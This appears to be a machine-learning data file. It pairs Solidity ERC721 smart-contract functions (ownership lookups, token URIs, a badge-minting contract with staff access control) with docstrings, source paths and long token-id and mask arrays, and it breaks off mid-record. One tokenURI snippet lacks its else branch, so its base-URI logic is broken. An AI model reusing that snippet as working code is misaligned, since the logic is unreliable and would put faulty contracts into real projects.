require(wallet != address(0));
return wallet == owner ? totalSupply : 0;
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId));
return owner;
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens start existing when they are minted (`mint`),
* and stop existing when they are burned (`burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return bytes(_mintedTokens[uint16(tokenId)]).length > 0;
}
// ██████╗ ███████╗ █████╗ ██████╗ ██████╗ ███╗ ██╗██╗ ██╗ ██╗
// ██╔══██╗██╔════╝██╔══██╗██╔══██╗ ██╔═══██╗████╗ ██║██║ ╚██╗ ██╔╝
// ██████╔╝█████╗ ███████║██║ ██║█████╗██║ ██║██╔██╗ ██║██║ ╚████╔╝
// ██╔══██╗██╔══╝ ██╔══██║██║ ██║╚════╝██║ ██║██║╚██╗██║██║ ╚██╔╝
// ██║ ██║███████╗██║ ██║██████╔╝ ╚██████╔╝██║ ╚████║███████╗██║
// ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚═╝
//
// https://eips.ethereum.org/EIPS/eip-721 Read only NFT registry.
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256) public view virtual override returns (address) {
return address(0);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address, address) public view virtual override returns (bool) {
return false;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address, uint256) public virtual override {
revert('X');
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address, bool) public virtual override {
revert('X');
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function transferFrom(address, address, uint256) public virtual override {
revert('X');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address, address, uint256) public virtual override {
revert('X');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address, address, uint256, bytes memory) public virtual override {
revert('X');
}
}
| * @dev See {IERC721Metadata-tokenURI}./ | function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), '?');
string memory metadataURI;
string memory _tokenURI = _mintedTokens[uint16(tokenId)];
if (bytes(baseURI).length == 0) {
metadataURI = _tokenURI;
metadataURI = string(abi.encodePacked(baseURI, _tokenURI));
}
return metadataURI;
}
| 13,103,922 | [
1,
9704,
288,
45,
654,
39,
27,
5340,
2277,
17,
2316,
3098,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1147,
3098,
12,
11890,
5034,
1147,
548,
13,
1071,
1476,
5024,
3849,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
2583,
24899,
1808,
12,
2316,
548,
3631,
6787,
1769,
203,
540,
203,
3639,
533,
3778,
1982,
3098,
31,
203,
3639,
533,
3778,
389,
2316,
3098,
273,
389,
81,
474,
329,
5157,
63,
11890,
2313,
12,
2316,
548,
13,
15533,
203,
203,
3639,
309,
261,
3890,
12,
1969,
3098,
2934,
2469,
422,
374,
13,
288,
203,
5411,
1982,
3098,
273,
389,
2316,
3098,
31,
203,
5411,
1982,
3098,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
1969,
3098,
16,
389,
2316,
3098,
10019,
203,
3639,
289,
203,
203,
3639,
327,
1982,
3098,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xB7e18d7baC3424a6Df6C0d20c40cA6D2D41DfD05/sources/contracts/OneStepLeverageStETH.f.sol | @dev Borrowing fee has been paid. Emitted only if the actual fee was paid - doesn't happen with no fees are paid. @param collateralToken Collateral token used to mint R. @param position The address of position's owner that triggered the fee payment. @param feeAmount The amount of tokens paid as the borrowing fee. | event RBorrowingFeePaid(IERC20 collateralToken, address indexed position, uint256 feeAmount);
| 2,967,488 | [
1,
38,
15318,
310,
14036,
711,
2118,
30591,
18,
512,
7948,
1338,
309,
326,
3214,
14036,
1703,
30591,
300,
3302,
1404,
5865,
598,
1158,
1656,
281,
854,
30591,
18,
225,
4508,
2045,
287,
1345,
17596,
2045,
287,
1147,
1399,
358,
312,
474,
534,
18,
225,
1754,
1021,
1758,
434,
1754,
1807,
3410,
716,
10861,
326,
14036,
5184,
18,
225,
14036,
6275,
1021,
3844,
434,
2430,
30591,
487,
326,
29759,
310,
14036,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
871,
534,
38,
15318,
310,
14667,
16507,
350,
12,
45,
654,
39,
3462,
4508,
2045,
287,
1345,
16,
1758,
8808,
1754,
16,
2254,
5034,
14036,
6275,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x5b47648AB81131Ec98ac8e63Ca1ca5D89587857B/sources/contracts/slimbase/ERC721Base.sol | * @dev See {IERC721-balanceOf}./ | function __balanceOf(address _owner) public view returns (uint256) {
if (_owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[_owner].balance);
}
| 12,341,790 | [
1,
9704,
288,
45,
654,
39,
27,
5340,
17,
12296,
951,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1001,
12296,
951,
12,
2867,
389,
8443,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
309,
261,
67,
8443,
422,
1758,
12,
20,
3719,
15226,
30918,
1138,
1290,
7170,
1887,
5621,
203,
3639,
327,
2254,
5034,
24899,
2867,
751,
63,
67,
8443,
8009,
12296,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//SPDX-License-Identifier: MIT License
pragma solidity ^0.8.0;
contract AccessControl {
address public owner;
uint16 public totalStaff = 0;
mapping(address => bool) public staff;
modifier onlyOwner() {
require(msg.sender == owner, 'You are not the owner');
_;
}
modifier onlyStaff() {
require(
staff[msg.sender] == true || msg.sender == owner,
'Only the owner or designated staff may do this'
);
_;
}
// The owner is the one who deployed the contract
constructor() {
owner = msg.sender;
}
// The owner may add or remove staff members
function addStaff(address _newStaff) public onlyOwner {
if (staff[_newStaff] == false) {
staff[_newStaff] = true;
totalStaff += 1;
}
}
function removeStaff(address _oldStaff) public onlyOwner {
if (staff[_oldStaff] == true) {
staff[_oldStaff] = false;
totalStaff -= 1;
}
}
// The owner may also give ownership to someone else
function changeOwner(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
abstract contract IERC721 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner)
public
view
virtual
returns (uint256 balance);
function ownerOf(uint256 tokenId)
public
view
virtual
returns (address owner);
function approve(address to, uint256 tokenId) public virtual;
function getApproved(uint256 tokenId)
public
view
virtual
returns (address operator);
function setApprovalForAll(address operator, bool _approved) public virtual;
function isApprovedForAll(address owner, address operator)
public
view
virtual
returns (bool);
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual;
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is IERC721, AccessControl {
uint256 public totalTokens;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping(uint256 => address) private _tokenOwner;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping(address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
string _name = 'My NFT';
string _symbol = 'NFT';
// Mapping storing a badge type for each token id
mapping(uint256 => uint16) public BadgeTypes;
uint16 public numBadgeTypes = 0;
// Mapping storing a metadate uri for each badge type
mapping(uint16 => string) public MetadataAddresses;
constructor() {}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), 'The owner cannot be the 0 address');
return _ownedTokensCount[owner];
}
function totalSupply() external view returns (uint256) {
return totalTokens;
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), 'The owner cannot be the 0 address');
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public override {
address owner = ownerOf(tokenId);
require(to != owner, 'Owner cannot approve tokens to itself');
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
'Only the owner of approved addresses can approve'
);
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(
_exists(tokenId),
'ERC721Metadata: URI query for nonexistent token'
);
return MetadataAddresses[BadgeTypes[tokenId]];
}
/// @notice A descriptive name for a collection of NFTs in this contract
function name() external view returns (string memory) {
return _name;
}
function setName(string memory newName) external onlyOwner {
_name = newName;
}
/// @notice An abbreviated name for NFTs in this contract
function symbol() external view returns (string memory) {
return _symbol;
}
function setSymbol(string memory newSymbol) external onlyOwner {
_symbol = newSymbol;
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId)
public
view
override
returns (address)
{
require(_exists(tokenId), 'This token id does not exist');
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public override {
require(to != msg.sender, 'Cannot approve to yourself');
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
require(
_isApprovedOrOwner(msg.sender, tokenId),
'Not approved or owner'
);
_transferFrom(from, to, tokenId);
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
function addBadgeType(string memory ipfsHash) public onlyStaff {
MetadataAddresses[numBadgeTypes] = ipfsHash;
numBadgeTypes += 1;
}
function changeBadgeType(string memory ipfsHash, uint16 index) public onlyStaff {
MetadataAddresses[index] = ipfsHash;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0), 'Cannot mint to 0 address');
require(!_exists(tokenId), 'Token Id already exists');
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to] += 1;
emit Transfer(address(0), to, tokenId);
}
// Mint a new token for an owner.
// badge type should have been defined previously, this is a link
// to the metadata uri.
function mintToken(
address owner,
uint16 badgeType
) public onlyStaff {
BadgeTypes[totalTokens] = badgeType;
_mint(owner, totalTokens);
totalTokens = totalTokens + 1;
}
/**
* @dev external function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned
* Only the owner can burn their token.
*/
function burn(uint256 tokenId) external {
require(ownerOf(tokenId) == msg.sender, 'Only the owner can burn');
_clearApproval(tokenId);
_ownedTokensCount[msg.sender] = _ownedTokensCount[msg.sender] -= 1;
_tokenOwner[tokenId] = address(0);
emit Transfer(msg.sender, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, 'Only the owner can burn');
_clearApproval(tokenId);
_ownedTokensCount[owner] = _ownedTokensCount[owner] -= 1;
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(
address from,
address to,
uint256 tokenId
) internal {
require(ownerOf(tokenId) == from, 'From must be the token owner');
require(to != address(0), 'Cannot transfer to 0 address.');
_clearApproval(tokenId);
_ownedTokensCount[from] = _ownedTokensCount[from] -= 1;
_ownedTokensCount[to] = _ownedTokensCount[to] += 1;
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Private function to clear current approval of a given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
| * @dev Gets the owner of the specified token ID @param tokenId uint256 ID of the token to query the owner of @return owner address currently marked as the owner of the given token ID/ | function ownerOf(uint256 tokenId) public view override returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0), 'The owner cannot be the 0 address');
return owner;
}
| 1,079,346 | [
1,
3002,
326,
3410,
434,
326,
1269,
1147,
1599,
225,
1147,
548,
2254,
5034,
1599,
434,
326,
1147,
358,
843,
326,
3410,
434,
327,
3410,
1758,
4551,
9350,
487,
326,
3410,
434,
326,
864,
1147,
1599,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3410,
951,
12,
11890,
5034,
1147,
548,
13,
1071,
1476,
3849,
1135,
261,
2867,
13,
288,
203,
3639,
1758,
3410,
273,
389,
2316,
5541,
63,
2316,
548,
15533,
203,
3639,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
296,
1986,
3410,
2780,
506,
326,
374,
1758,
8284,
203,
3639,
327,
3410,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x58B4B3a6891A9278AF68b567615c4c7505ef83B6/sources/Virtunes.sol | returns the remaining supply | function publicSupply() external view returns (uint256) {
uint256 amount = maxSupply - totalSupply();
return amount;
}
| 3,932,202 | [
1,
6154,
326,
4463,
14467,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1071,
3088,
